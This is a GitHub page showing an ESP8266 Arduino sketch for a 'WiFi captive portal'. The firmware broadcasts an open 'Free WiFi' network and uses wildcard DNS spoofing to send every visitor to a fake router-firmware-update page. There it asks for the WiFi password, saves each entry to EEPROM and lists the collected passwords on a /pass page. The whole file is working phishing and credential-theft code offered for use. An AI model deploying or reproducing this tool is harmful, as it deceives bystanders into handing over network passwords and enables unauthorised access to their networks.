This repository has been archived by the owner on Mar 21, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 156
/
WiFi_Captive_Portal.ino
197 lines (164 loc) · 7.08 KB
/
WiFi_Captive_Portal.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
// ESP8266 WiFi Captive Portal
// By 125K (github.com/125K)
// Libraries
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <EEPROM.h>
// Default SSID name
const char* SSID_NAME = "Free WiFi";
// Default main strings
#define SUBTITLE "Router info."
#define TITLE "Update"
#define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally."
#define POST_TITLE "Updating..."
#define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you."
#define PASS_TITLE "Passwords"
#define CLEAR_TITLE "Cleared"
// Init system settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(172, 0, 0, 1); // Gateway
String allPass = "";
String newSSID = "";
String currentSSID = "";
// For storing passwords in EEPROM.
int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time.
int passStart = 30; // Starting location in EEPROM to save password.
int passEnd = passStart; // Ending location in EEPROM to save password.
unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;
DNSServer dnsServer; ESP8266WebServer webServer(80);
String input(String argName) {
String a = webServer.arg(argName);
a.replace("<","<");a.replace(">",">");
a.substring(0,200); return a; }
String footer() {
return "</div><div class=q><a>© All rights reserved.</a></div>";
}
String header(String t) {
String a = String(currentSSID);
String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
"div { padding: 0.5em; }"
"h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
"input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"
"label { color: #333; display: block; font-style: italic; font-weight: bold; }"
"nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
"textarea { width: 100%; }";
String h = "<!DOCTYPE html><html>"
"<head><title>" + a + " :: " + t + "</title>"
"<meta name=viewport content=\"width=device-width,initial-scale=1\">"
"<style>" + CSS + "</style>"
"<meta charset=\"UTF-8\"></head>"
"<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
return h; }
String index() {
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+
"<input type=password name=m></input><input type=submit value=Start></form>" + footer();
}
String posted() {
String pass = input("m");
pass = "<li><b>" + pass + "</li></b>"; // Adding password in a ordered list.
allPass += pass; // Updating the full passwords.
// Storing passwords to EEPROM.
for (int i = 0; i <= pass.length(); ++i)
{
EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM.
}
passEnd += pass.length(); // Updating end position of passwords in EEPROM.
EEPROM.write(passEnd, '\0');
EEPROM.commit();
return header(POST_TITLE) + POST_BODY + footer();
}
String pass() {
return header(PASS_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}
String ssid() {
return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+
"<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer();
}
String postedSSID() {
String postedSSID = input("s"); newSSID="<li><b>" + postedSSID + "</b></li>";
for (int i = 0; i < postedSSID.length(); ++i) {
EEPROM.write(i, postedSSID[i]);
}
EEPROM.write(postedSSID.length(), '\0');
EEPROM.commit();
WiFi.softAP(postedSSID);
}
String clear() {
allPass = "";
passEnd = passStart; // Setting the password end location -> starting position.
EEPROM.write(passEnd, '\0');
EEPROM.commit();
return header(CLEAR_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}
void BLINK() { // The built-in LED will blink 5 times after a password is posted.
for (int counter = 0; counter < 10; counter++)
{
// For blinking the LED.
digitalWrite(BUILTIN_LED, counter % 2);
delay(500);
}
}
void setup() {
// Serial begin
Serial.begin(115200);
bootTime = lastActivity = millis();
EEPROM.begin(512);
delay(10);
// Check whether the ESP is running for the first time.
String checkValue = "first"; // This will will be set in EEPROM after the first run.
for (int i = 0; i < checkValue.length(); ++i)
{
if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i])
{
// Add "first" in initialCheckLocation.
for (int i = 0; i < checkValue.length(); ++i)
{
EEPROM.write(i + initialCheckLocation, checkValue[i]);
}
EEPROM.write(0, '\0'); // Clear SSID location in EEPROM.
EEPROM.write(passStart, '\0'); // Clear password location in EEPROM
EEPROM.commit();
break;
}
}
// Read EEPROM SSID
String ESSID;
int i = 0;
while (EEPROM.read(i) != '\0') {
ESSID += char(EEPROM.read(i));
i++;
}
// Reading stored password and end location of passwords in the EEPROM.
while (EEPROM.read(passEnd) != '\0')
{
allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM.
passEnd++; // Updating the end location of password in EEPROM.
}
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
// Setting currentSSID -> SSID in EEPROM or default one.
currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME;
Serial.print("Current SSID: ");
Serial.print(currentSSID);
WiFi.softAP(currentSSID);
// Start webserver
dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP)
webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); });
webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); });
webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); });
webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); });
webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); });
webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });
webServer.begin();
// Enable the built-in LED
pinMode(BUILTIN_LED, OUTPUT);
digitalWrite(BUILTIN_LED, HIGH);
}
void loop() {
if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();}
dnsServer.processNextRequest(); webServer.handleClient(); }